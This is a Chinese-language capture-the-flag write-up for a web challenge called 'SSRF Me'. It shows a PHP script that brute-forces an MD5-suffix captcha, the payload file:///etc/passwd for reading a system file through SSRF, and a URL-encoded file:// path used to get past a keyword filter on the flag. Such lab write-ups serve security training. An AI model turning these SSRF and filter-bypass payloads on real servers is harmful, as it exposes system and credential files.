Web13-SSRF Me(验证码破解+file://+flag的url转换)
一.题目链接:
https://adworld.xctf.org.cn/challenges/list
二.代码分析
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>SSRF</title>
<link rel="stylesheet" href="./static/semantic.min.css" >
<script src="./static/semantic.min.js"></script>
<body style="background-color: #8CD3F7">
<br>
<div class="ui container">
<form method="post">
<div class="ui form">
<div class="field">
<label>Visit URL</label>
<input type="text" id="url" name="url" placeholder="http://127.0.0.1:80/" hint="本靶机不能访问外网">
</div>
<div class="field">
<label>Captcha: substr(md5(captcha), -6, 6) == "9a414a" <a href="./index.php?reset">reset</a></label>
<input type="text" id="captcha" name="captcha">
</div>
<div class="field">
<button class="ui button submit" type="submit">Submit</button>
</div>
</div>
</form>
</div>
</body>
</html>
1.分析题目,这个靶机不能访问外网,说明我们只能通过php://filter协议去读取内网的文件
2.重点代码在于验证码的验证
#验证码要求:要求输入的字符串的MD5最后6为等于"9a414a"
<div class="field">
<label>Captcha: substr(md5(captcha), -6, 6) == "9a414a" <a href="./index.php?reset">reset</a></label>
<input type="text" id="captcha" name="captcha">
</div>
三.开始解题
1.通过php脚本求出符合当前验证码的数字
//substr(md5(captcha), -6, 6) == "13e7ef"
<?php
$captcha=0; #初始化计数器,从0开始
while(true) #无限循环,知道找到符合条件的数字
{
#md5($captcha),计算$captcha的md5哈希值的最后6位,验证是否匹配这里
if(substr(md5($captcha), -6, 6) == "46740f") //这里的验证码填自己的
{
echo $captcha;
break;
}
$captcha++; #递增,尝试下一个数字
}
?>

2.我们用file://格式去读取/etc/passwd文件
file:///etc/passwd

3.再尝试去读flag文件,发现flag被过滤,转成url编码继续尝试,注意有的时候url编码网站并不能吧所有的都给正确的编码出来,有时需要手工

file://flag --> 变为 file:///%66%6c%61%67


浙公网安备 33010602011771号